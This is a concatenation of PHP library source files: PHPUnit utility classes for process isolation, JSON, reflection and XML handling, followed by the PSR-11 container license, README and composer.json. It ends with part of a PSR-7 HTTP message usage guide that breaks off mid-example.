'mbstring.internal_encoding' => true, ], '8.1' => [ 'auto_detect_line_endings' => true, 'filter.default' => true, 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 'mbstring.internal_encoding' => true, 'oci8.old_oci_close_semantics' => true, ], '8.2' => [ 'auto_detect_line_endings' => true, 'filter.default' => true, 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 'mbstring.internal_encoding' => true, 'oci8.old_oci_close_semantics' => true, ], '8.3' => [ 'auto_detect_line_endings' => true, 'filter.default' => true, 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 'mbstring.internal_encoding' => true, 'oci8.old_oci_close_semantics' => true, ], ]; /** * @throws Exception */ public static function getIncludedFilesAsString(): string { return self::processIncludedFilesAsString(get_included_files()); } /** * @psalm-param list $files * * @throws Exception */ public static function processIncludedFilesAsString(array $files): string { $excludeList = new ExcludeList; $prefix = false; $result = ''; if (defined('__PHPUNIT_PHAR__')) { $prefix = 'phar://' . __PHPUNIT_PHAR__ . '/'; } // Do not process bootstrap script array_shift($files); // If bootstrap script was a Composer bin proxy, skip the second entry as well if (str_ends_with(strtr($files[0], '\\', '/'), '/phpunit/phpunit/phpunit')) { array_shift($files); } foreach (array_reverse($files) as $file) { if (!empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) && in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) { continue; } if ($prefix !== false && str_starts_with($file, $prefix)) { continue; } // Skip virtual file system protocols if (preg_match('/^(vfs|phpvfs[a-z0-9]+):/', $file)) { continue; } if (!$excludeList->isExcluded($file) && is_file($file)) { $result = 'require_once \'' . $file . "';\n" . $result; } } return $result; } public static function getIniSettingsAsString(): string { $result = ''; foreach (ini_get_all(null, false) as $key => $value) { if (self::isIniSettingDeprecated($key)) { continue; } $result .= sprintf( '@ini_set(%s, %s);' . "\n", self::exportVariable($key), self::exportVariable((string) $value), ); } return $result; } public static function getConstantsAsString(): string { $constants = get_defined_constants(true); $result = ''; if (isset($constants['user'])) { foreach ($constants['user'] as $name => $value) { $result .= sprintf( 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", $name, $name, self::exportVariable($value), ); } } return $result; } public static function getGlobalsAsString(): string { $result = ''; foreach (self::SUPER_GLOBAL_ARRAYS as $superGlobalArray) { if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { foreach (array_keys($GLOBALS[$superGlobalArray]) as $key) { if ($GLOBALS[$superGlobalArray][$key] instanceof Closure) { continue; } $result .= sprintf( '$GLOBALS[\'%s\'][\'%s\'] = %s;' . "\n", $superGlobalArray, $key, self::exportVariable($GLOBALS[$superGlobalArray][$key]), ); } } } $excludeList = self::SUPER_GLOBAL_ARRAYS; $excludeList[] = 'GLOBALS'; foreach (array_keys($GLOBALS) as $key) { if (!$GLOBALS[$key] instanceof Closure && !in_array($key, $excludeList, true)) { $result .= sprintf( '$GLOBALS[\'%s\'] = %s;' . "\n", $key, self::exportVariable($GLOBALS[$key]), ); } } return $result; } private static function exportVariable(mixed $variable): string { if (is_scalar($variable) || $variable === null || (is_array($variable) && self::arrayOnlyContainsScalars($variable))) { return var_export($variable, true); } return 'unserialize(' . var_export(serialize($variable), true) . ')'; } private static function arrayOnlyContainsScalars(array $array): bool { $result = true; foreach ($array as $element) { if (is_array($element)) { $result = self::arrayOnlyContainsScalars($element); } elseif (!is_scalar($element) && $element !== null) { $result = false; } if (!$result) { break; } } return $result; } private static function isIniSettingDeprecated(string $iniSetting): bool { return isset(self::DEPRECATED_INI_SETTINGS[PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION][$iniSetting]); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Http; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Downloader { /** * @param non-empty-string $url */ public function download(string $url): false|string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Http; use function file_get_contents; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class PhpDownloader implements Downloader { /** * @param non-empty-string $url */ public function download(string $url): false|string { return file_get_contents($url); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const JSON_PRETTY_PRINT; use const JSON_UNESCAPED_SLASHES; use const JSON_UNESCAPED_UNICODE; use const SORT_STRING; use function is_object; use function is_scalar; use function json_decode; use function json_encode; use function json_last_error; use function ksort; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Json { /** * @throws InvalidJsonException */ public static function prettify(string $json): string { $decodedJson = json_decode($json, false); if (json_last_error()) { throw new InvalidJsonException; } return json_encode($decodedJson, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); } /** * To allow comparison of JSON strings, first process them into a consistent * format so that they can be compared as strings. * * @return array ($error, $canonicalized_json) The $error parameter is used * to indicate an error decoding the json. This is used to avoid ambiguity * with JSON strings consisting entirely of 'null' or 'false'. */ public static function canonicalize(string $json): array { $decodedJson = json_decode($json); if (json_last_error()) { return [true, null]; } self::recursiveSort($decodedJson); $reencodedJson = json_encode($decodedJson); return [false, $reencodedJson]; } /** * JSON object keys are unordered while PHP array keys are ordered. * * Sort all array keys to ensure both the expected and actual values have * their keys in the same order. */ private static function recursiveSort(mixed &$json): void { // Nulls, empty arrays, and scalars need no further handling. if (!$json || is_scalar($json)) { return; } $isObject = is_object($json); if ($isObject) { // Objects need to be sorted during canonicalization to ensure // correct comparsion since JSON objects are unordered. It must be // kept as an object so that the value correctly stays as a JSON // object instead of potentially being converted to an array. This // approach ensures that numeric string JSON keys are preserved and // don't risk being flattened due to PHP's array semantics. // See #2919, #4584, #4674 $json = (array) $json; ksort($json, SORT_STRING); } foreach ($json as &$value) { self::recursiveSort($value); } if ($isObject) { $json = (object) $json; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use const PHP_BINARY; use const PHP_SAPI; use function array_keys; use function array_merge; use function assert; use function explode; use function file_get_contents; use function ini_get_all; use function is_file; use function restore_error_handler; use function set_error_handler; use function trim; use function unlink; use function unserialize; use ErrorException; use PHPUnit\Event\Code\TestMethodBuilder; use PHPUnit\Event\Code\ThrowableBuilder; use PHPUnit\Event\Facade; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Exception; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Runner\CodeCoverage; use PHPUnit\TestRunner\TestResult\PassedTests; use SebastianBergmann\Environment\Runtime; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class AbstractPhpProcess { protected bool $stderrRedirection = false; protected string $stdin = ''; protected string $arguments = ''; /** * @psalm-var array */ protected array $env = []; public static function factory(): self { return new DefaultPhpProcess; } /** * Defines if should use STDERR redirection or not. * * Then $stderrRedirection is TRUE, STDERR is redirected to STDOUT. */ public function setUseStderrRedirection(bool $stderrRedirection): void { $this->stderrRedirection = $stderrRedirection; } /** * Returns TRUE if uses STDERR redirection or FALSE if not. */ public function useStderrRedirection(): bool { return $this->stderrRedirection; } /** * Sets the input string to be sent via STDIN. */ public function setStdin(string $stdin): void { $this->stdin = $stdin; } /** * Returns the input string to be sent via STDIN. */ public function getStdin(): string { return $this->stdin; } /** * Sets the string of arguments to pass to the php job. */ public function setArgs(string $arguments): void { $this->arguments = $arguments; } /** * Returns the string of arguments to pass to the php job. */ public function getArgs(): string { return $this->arguments; } /** * Sets the array of environment variables to start the child process with. * * @psalm-param array $env */ public function setEnv(array $env): void { $this->env = $env; } /** * Returns the array of environment variables to start the child process with. */ public function getEnv(): array { return $this->env; } /** * Runs a single test in a separate PHP process. * * @throws \PHPUnit\Runner\Exception * @throws Exception * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException */ public function runTestJob(string $job, Test $test, string $processResultFile): void { $_result = $this->runJob($job); $processResult = ''; if (is_file($processResultFile)) { $processResult = file_get_contents($processResultFile); @unlink($processResultFile); } $this->processChildResult( $test, $processResult, $_result['stderr'], ); } /** * Returns the command based into the configurations. * * @return string[] */ public function getCommand(array $settings, ?string $file = null): array { $runtime = new Runtime; $command = []; $command[] = PHP_BINARY; if ($runtime->hasPCOV()) { $settings = array_merge( $settings, $runtime->getCurrentSettings( array_keys(ini_get_all('pcov')), ), ); } elseif ($runtime->hasXdebug()) { $settings = array_merge( $settings, $runtime->getCurrentSettings( array_keys(ini_get_all('xdebug')), ), ); } $command = array_merge($command, $this->settingsToParameters($settings)); if (PHP_SAPI === 'phpdbg') { $command[] = '-qrr'; if (!$file) { $command[] = 's='; } } if ($file) { $command[] = '-f'; $command[] = $file; } if ($this->arguments) { if (!$file) { $command[] = '--'; } foreach (explode(' ', $this->arguments) as $arg) { $command[] = trim($arg); } } return $command; } /** * Runs a single job (PHP code) using a separate PHP process. */ abstract public function runJob(string $job, array $settings = []): array; /** * @return list */ protected function settingsToParameters(array $settings): array { $buffer = []; foreach ($settings as $setting) { $buffer[] = '-d'; $buffer[] = $setting; } return $buffer; } /** * @throws \PHPUnit\Runner\Exception * @throws Exception * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException */ private function processChildResult(Test $test, string $stdout, string $stderr): void { if (!empty($stderr)) { $exception = new Exception(trim($stderr)); assert($test instanceof TestCase); Facade::emitter()->testErrored( TestMethodBuilder::fromTestCase($test), ThrowableBuilder::from($exception), ); return; } set_error_handler( /** * @throws ErrorException */ static function (int $errno, string $errstr, string $errfile, int $errline): never { throw new ErrorException($errstr, $errno, $errno, $errfile, $errline); }, ); try { $childResult = unserialize($stdout); restore_error_handler(); if ($childResult === false) { $exception = new AssertionFailedError('Test was run in child process and ended unexpectedly'); assert($test instanceof TestCase); Facade::emitter()->testErrored( TestMethodBuilder::fromTestCase($test), ThrowableBuilder::from($exception), ); Facade::emitter()->testFinished( TestMethodBuilder::fromTestCase($test), 0, ); } } catch (ErrorException $e) { restore_error_handler(); $childResult = false; $exception = new Exception(trim($stdout), 0, $e); assert($test instanceof TestCase); Facade::emitter()->testErrored( TestMethodBuilder::fromTestCase($test), ThrowableBuilder::from($exception), ); } if ($childResult !== false) { Facade::instance()->forward($childResult['events']); PassedTests::instance()->import($childResult['passedTests']); assert($test instanceof TestCase); $test->setResult($childResult['testResult']); $test->addToAssertionCount($childResult['numAssertions']); if (CodeCoverage::instance()->isActive() && $childResult['codeCoverage'] instanceof \SebastianBergmann\CodeCoverage\CodeCoverage) { CodeCoverage::instance()->codeCoverage()->merge( $childResult['codeCoverage'], ); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use function array_merge; use function fclose; use function file_put_contents; use function fwrite; use function is_array; use function is_resource; use function proc_close; use function proc_open; use function stream_get_contents; use function sys_get_temp_dir; use function tempnam; use function unlink; use PHPUnit\Framework\Exception; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class DefaultPhpProcess extends AbstractPhpProcess { private ?string $tempFile = null; /** * Runs a single job (PHP code) using a separate PHP process. * * @throws Exception * @throws PhpProcessException * * @psalm-return array{stdout: string, stderr: string} */ public function runJob(string $job, array $settings = []): array { if ($this->stdin) { if (!($this->tempFile = tempnam(sys_get_temp_dir(), 'phpunit_')) || file_put_contents($this->tempFile, $job) === false) { throw new PhpProcessException( 'Unable to write temporary file', ); } $job = $this->stdin; } return $this->runProcess($job, $settings); } /** * Handles creating the child process and returning the STDOUT and STDERR. * * @throws Exception * @throws PhpProcessException * * @psalm-return array{stdout: string, stderr: string} */ protected function runProcess(string $job, array $settings): array { $env = null; if ($this->env) { $env = $_SERVER ?? []; unset($env['argv'], $env['argc']); $env = array_merge($env, $this->env); foreach ($env as $envKey => $envVar) { if (is_array($envVar)) { unset($env[$envKey]); } } } $pipeSpec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; if ($this->stderrRedirection) { $pipeSpec[2] = ['redirect', 1]; } $process = proc_open( $this->getCommand($settings, $this->tempFile), $pipeSpec, $pipes, null, $env, ); if (!is_resource($process)) { throw new PhpProcessException( 'Unable to spawn worker process', ); } if ($job) { $this->process($pipes[0], $job); } fclose($pipes[0]); $stderr = $stdout = ''; if (isset($pipes[1])) { $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); } if (isset($pipes[2])) { $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); } proc_close($process); $this->cleanup(); return ['stdout' => $stdout, 'stderr' => $stderr]; } /** * @param resource $pipe */ protected function process($pipe, string $job): void { fwrite($pipe, $job); } protected function cleanup(): void { if ($this->tempFile) { unlink($this->tempFile); } } } {driverMethod}($filter), $filter ); if ({codeCoverageCacheDirectory}) { $coverage->cacheStaticAnalysis({codeCoverageCacheDirectory}); } $coverage->start(__FILE__); } register_shutdown_function( function() use ($coverage) { $output = null; if ($coverage) { $output = $coverage->stop(); } file_put_contents('{coverageFile}', serialize($output)); } ); ob_end_clean(); require '{job}'; initForIsolation( PHPUnit\Event\Telemetry\HRTime::fromSecondsAndNanoseconds( {offsetSeconds}, {offsetNanoseconds} ), {exportObjects}, ); require_once '{filename}'; if ({collectCodeCoverageInformation}) { CodeCoverage::instance()->init(ConfigurationRegistry::get(), CodeCoverageFilterRegistry::instance(), true); CodeCoverage::instance()->ignoreLines({linesToBeIgnored}); } $test = new {className}('{name}'); $test->setData('{dataName}', unserialize('{data}')); $test->setDependencyInput(unserialize('{dependencyInput}')); $test->setInIsolation(true); ob_end_clean(); $test->run(); $output = ''; if (!$test->expectsOutput()) { $output = $test->output(); } ini_set('xdebug.scream', '0'); // Not every STDOUT target stream is rewindable @rewind(STDOUT); if ($stdout = @stream_get_contents(STDOUT)) { $output = $stdout . $output; $streamMetaData = stream_get_meta_data(STDOUT); if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { @ftruncate(STDOUT, 0); @rewind(STDOUT); } } file_put_contents( '{processResultFile}', serialize( [ 'testResult' => $test->result(), 'codeCoverage' => {collectCodeCoverageInformation} ? CodeCoverage::instance()->codeCoverage() : null, 'numAssertions' => $test->numberOfAssertionsPerformed(), 'output' => $output, 'events' => $dispatcher->flush(), 'passedTests' => PassedTests::instance() ] ) ); } function __phpunit_error_handler($errno, $errstr, $errfile, $errline) { return true; } set_error_handler('__phpunit_error_handler'); {constants} {included_files} {globals} restore_error_handler(); ConfigurationRegistry::loadFrom('{serializedConfiguration}'); (new PhpHandler)->handle(ConfigurationRegistry::get()->php()); if ('{bootstrap}' !== '') { require_once '{bootstrap}'; } __phpunit_run_isolated_test(); initForIsolation( PHPUnit\Event\Telemetry\HRTime::fromSecondsAndNanoseconds( {offsetSeconds}, {offsetNanoseconds} ), {exportObjects}, ); require_once '{filename}'; if ({collectCodeCoverageInformation}) { CodeCoverage::instance()->init(ConfigurationRegistry::get(), CodeCoverageFilterRegistry::instance(), true); CodeCoverage::instance()->ignoreLines({linesToBeIgnored}); } $test = new {className}('{methodName}'); $test->setData('{dataName}', unserialize('{data}')); $test->setDependencyInput(unserialize('{dependencyInput}')); $test->setInIsolation(true); ob_end_clean(); $test->run(); $output = ''; if (!$test->expectsOutput()) { $output = $test->output(); } ini_set('xdebug.scream', '0'); // Not every STDOUT target stream is rewindable @rewind(STDOUT); if ($stdout = @stream_get_contents(STDOUT)) { $output = $stdout . $output; $streamMetaData = stream_get_meta_data(STDOUT); if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { @ftruncate(STDOUT, 0); @rewind(STDOUT); } } file_put_contents( '{processResultFile}', serialize( [ 'testResult' => $test->result(), 'codeCoverage' => {collectCodeCoverageInformation} ? CodeCoverage::instance()->codeCoverage() : null, 'numAssertions' => $test->numberOfAssertionsPerformed(), 'output' => $output, 'events' => $dispatcher->flush(), 'passedTests' => PassedTests::instance() ] ) ); } function __phpunit_error_handler($errno, $errstr, $errfile, $errline) { return true; } set_error_handler('__phpunit_error_handler'); {constants} {included_files} {globals} restore_error_handler(); ConfigurationRegistry::loadFrom('{serializedConfiguration}'); (new PhpHandler)->handle(ConfigurationRegistry::get()->php()); if ('{bootstrap}' !== '') { require_once '{bootstrap}'; } __phpunit_run_isolated_test(); * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function array_keys; use function array_merge; use function array_reverse; use PHPUnit\Framework\Assert; use PHPUnit\Framework\TestCase; use ReflectionClass; use ReflectionException; use ReflectionMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Reflection { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @psalm-return array{file: non-empty-string, line: non-negative-int} */ public static function sourceLocationFor(string $className, string $methodName): array { try { $reflector = new ReflectionMethod($className, $methodName); $file = $reflector->getFileName(); $line = $reflector->getStartLine(); } catch (ReflectionException) { $file = 'unknown'; $line = 0; } return [ 'file' => $file, 'line' => $line, ]; } /** * @psalm-return list */ public static function publicMethodsInTestClass(ReflectionClass $class): array { return self::filterAndSortMethods($class, ReflectionMethod::IS_PUBLIC, true); } /** * @psalm-return list */ public static function methodsInTestClass(ReflectionClass $class): array { return self::filterAndSortMethods($class, null, false); } /** * @psalm-return list */ private static function filterAndSortMethods(ReflectionClass $class, ?int $filter, bool $sortHighestToLowest): array { $methodsByClass = []; foreach ($class->getMethods($filter) as $method) { $declaringClassName = $method->getDeclaringClass()->getName(); if ($declaringClassName === TestCase::class) { continue; } if ($declaringClassName === Assert::class) { continue; } if (!isset($methodsByClass[$declaringClassName])) { $methodsByClass[$declaringClassName] = []; } $methodsByClass[$declaringClassName][] = $method; } $classNames = array_keys($methodsByClass); if ($sortHighestToLowest) { $classNames = array_reverse($classNames); } $methods = []; foreach ($classNames as $className) { $methods = array_merge($methods, $methodsByClass[$className]); } return $methods; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function str_starts_with; use PHPUnit\Metadata\Parser\Registry; use ReflectionMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Test { public static function isTestMethod(ReflectionMethod $method): bool { if (!$method->isPublic()) { return false; } if (str_starts_with($method->getName(), 'test')) { return true; } $metadata = Registry::parser()->forMethod( $method->getDeclaringClass()->getName(), $method->getName(), ); return $metadata->isTest()->isNotEmpty(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function trim; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\PhptAssertionFailedError; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Runner\ErrorException; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ThrowableToStringMapper { public static function map(Throwable $t): string { if ($t instanceof ErrorException) { return $t->getMessage(); } if ($t instanceof SelfDescribing) { $buffer = $t->toString(); if ($t instanceof ExpectationFailedException && $t->getComparisonFailure()) { $buffer .= $t->getComparisonFailure()->getDiff(); } if ($t instanceof PhptAssertionFailedError) { $buffer .= $t->diff(); } if (!empty($buffer)) { $buffer = trim($buffer) . "\n"; } return $buffer; } return $t::class . ': ' . $t->getMessage() . "\n"; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function in_array; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class VersionComparisonOperator { /** * @psalm-var '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' */ private readonly string $operator; /** * @psalm-param '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' $operator * * @throws InvalidVersionOperatorException */ public function __construct(string $operator) { $this->ensureOperatorIsValid($operator); $this->operator = $operator; } /** * @psalm-return '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' */ public function asString(): string { return $this->operator; } /** * @psalm-param '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' $operator * * @throws InvalidVersionOperatorException */ private function ensureOperatorIsValid(string $operator): void { if (!in_array($operator, ['<', 'lt', '<=', 'le', '>', 'gt', '>=', 'ge', '==', '=', 'eq', '!=', '<>', 'ne'], true)) { throw new InvalidVersionOperatorException($operator); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use const PHP_OS_FAMILY; use function chdir; use function dirname; use function error_reporting; use function file_get_contents; use function getcwd; use function libxml_get_errors; use function libxml_use_internal_errors; use function sprintf; use DOMDocument; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Loader { /** * @throws XmlException */ public function loadFile(string $filename): DOMDocument { $reporting = error_reporting(0); $contents = file_get_contents($filename); error_reporting($reporting); if ($contents === false) { throw new XmlException( sprintf( 'Could not read XML from file "%s"', $filename, ), ); } return $this->load($contents, $filename); } /** * @throws XmlException */ public function load(string $actual, ?string $filename = null): DOMDocument { if ($actual === '') { if ($filename === null) { throw new XmlException('Could not parse XML from empty string'); } throw new XmlException( sprintf( 'Could not parse XML from empty file "%s"', $filename, ), ); } $document = new DOMDocument; $document->preserveWhiteSpace = false; $internal = libxml_use_internal_errors(true); $message = ''; $reporting = error_reporting(0); // Required for XInclude if ($filename !== null) { // Required for XInclude on Windows if (PHP_OS_FAMILY === 'Windows') { $cwd = getcwd(); @chdir(dirname($filename)); } $document->documentURI = $filename; } $loaded = $document->loadXML($actual); if ($filename !== null) { $document->xinclude(); } foreach (libxml_get_errors() as $error) { $message .= "\n" . $error->message; } libxml_use_internal_errors($internal); error_reporting($reporting); if (isset($cwd)) { @chdir($cwd); } if ($loaded === false || $message !== '') { if ($filename !== null) { throw new XmlException( sprintf( 'Could not load "%s"%s', $filename, $message !== '' ? ":\n" . $message : '', ), ); } if ($message === '') { $message = 'Could not load XML for unknown reason'; } throw new XmlException($message); } return $document; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const ENT_QUOTES; use function htmlspecialchars; use function mb_convert_encoding; use function ord; use function preg_replace; use function strlen; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Xml { /** * Escapes a string for the use in XML documents. * * Any Unicode character is allowed, excluding the surrogate blocks, FFFE, * and FFFF (not even as character reference). * * @see https://www.w3.org/TR/xml/#charsets */ public static function prepareString(string $string): string { return preg_replace( '/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', '', htmlspecialchars( self::convertToUtf8($string), ENT_QUOTES, ), ); } private static function convertToUtf8(string $string): string { if (!self::isUtf8($string)) { $string = mb_convert_encoding($string, 'UTF-8'); } return $string; } private static function isUtf8(string $string): bool { $length = strlen($string); for ($i = 0; $i < $length; $i++) { if (ord($string[$i]) < 0x80) { $n = 0; } elseif ((ord($string[$i]) & 0xE0) === 0xC0) { $n = 1; } elseif ((ord($string[$i]) & 0xF0) === 0xE0) { $n = 2; } elseif ((ord($string[$i]) & 0xF0) === 0xF0) { $n = 3; } else { return false; } for ($j = 0; $j < $n; $j++) { if ((++$i === $length) || ((ord($string[$i]) & 0xC0) !== 0x80)) { return false; } } } return true; } } The MIT License (MIT) Copyright (c) 2013-2016 container-interop Copyright (c) 2016 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Container interface ============== This repository holds all interfaces related to [PSR-11 (Container Interface)][psr-url]. Note that this is not a Container implementation of its own. It is merely abstractions that describe the components of a Dependency Injection Container. The installable [package][package-url] and [implementations][implementation-url] are listed on Packagist. [psr-url]: https://www.php-fig.org/psr/psr-11/ [package-url]: https://packagist.org/packages/psr/container [implementation-url]: https://packagist.org/providers/psr/container-implementation { "name": "psr/container", "type": "library", "description": "Common Container Interface (PHP FIG PSR-11)", "keywords": ["psr", "psr-11", "container", "container-interop", "container-interface"], "homepage": "https://github.com/php-fig/container", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "require": { "php": ">=7.4.0" }, "autoload": { "psr-4": { "Psr\\Container\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } } } =7.1", "psr/http-message": "^1.0 || ^2.0" }, "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface` because the `Request` and the `Response` are `HTTP Messages`. > When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered. ### PSR-7 Usage All PSR-7 applications comply with these interfaces They were created to establish a standard between middleware implementations. > `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface` because the `Request` and the `Response` are `HTTP Messages`. > When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered. The following examples will illustrate how basic operations are done in PSR-7. ##### Examples For this examples to work (at least) a PSR-7 implementation package is required. (eg: zendframework/zend-diactoros, guzzlehttp/psr7, slim/slim, etc) All PSR-7 implementations should have the same behaviour. The following will be assumed: `$request` is an object of `Psr\Http\Message\RequestInterface` and `$response` is an object implementing `Psr\Http\Message\RequestInterface` ### Working with HTTP Headers #### Adding headers to response: ```php $response->withHeader('My-Custom-Header', 'My Custom Message'); ``` #### Appending values to headers ```php $response->withAddedHeader('My-Custom-Header', 'The second message'); ``` #### Checking if header exists: ```php $request->hasHeader('My-Custom-Header'); // will return false $response->hasHeader('My-Custom-Header'); // will return true ``` > Note: My-Custom-Header was only added in the Response #### Getting comma-separated values from a header (also applies to request) ```php // getting value from request headers $request->getHeaderLine('Content-Type'); // will return: "text/html; charset=UTF-8" // getting value from response headers $response->getHeaderLine('My-Custom-Header'); // will return: "My Custom Message; The second message" ``` #### Getting array of value from a header (also applies to request) ```php // getting value from request headers $request->getHeader('Content-Type'); // will return: ["text/html", "charset=UTF-8"] // getting value from response headers $response->getHeader('My-Custom-Header'); // will return: ["My Custom Message", "The second message"] ``` #### Removing headers from HTTP Messages ```php // removing a header from Request, removing deprecated "Content-MD5" header $request->withoutHeader('Content-MD5'); // removing a header from Response // effect: the browser won't know the size of the stream // the browser will download the stream till it ends $response->withoutHeader('Content-Length'); ``` ### Working with HTTP Message Body When working with the PSR-7 there are two methods of implementation: #### 1. Getting the body separately > This method makes the body handling easier to understand and is useful when repeatedly calling body methods. (You only call `getBody()` once). Using this method mistakes like `$response->write()` are also prevented. ```php $body = $response->getBody(); // operations on body, eg. read, write, seek // ... // replacing the old body $response->withBody($body); // this last statement is optional as we working with objects // in this case the "new" body is same with the "old" one // the $body variable has the same value as the one in $request, only the reference is passed ``` #### 2. Working directly on response > This method is useful when only performing few operations as the `$request->getBody()` statement fragment is required ```php $response->getBody()->write('hello'); ``` ### Getting the body contents The following snippet gets the contents of a stream contents. > Note: Streams must be rewinded, if content was written into streams, it will be ignored when calling `getContents()` because the stream pointer is set to the last character, which is `\0` - meaning end of stream. ```php $body = $response->getBody(); $body->rewind(); // or $body->seek(0); $bodyText = $body->getContents(); ``` > Note: If `$body->seek(1)` is called before `$body->getContents()`, the first character will be ommited as the starting pointer is set to `1`, not `0`. This is why using `$body->rewind()` is recommended. ### Append to body ```php $response->getBody()->write('Hello'); // writing directly $body = $request->getBody(); // which is a `StreamInterface` $body->write('xxxxx'); ``` ### Prepend to body Prepending is different when it comes to streams. The content must be copied before writing the content to be prepended. The following example will explain the behaviour of streams. ```php // assuming our response is initially empty $body = $repsonse->getBody(); // writing the string "abcd" 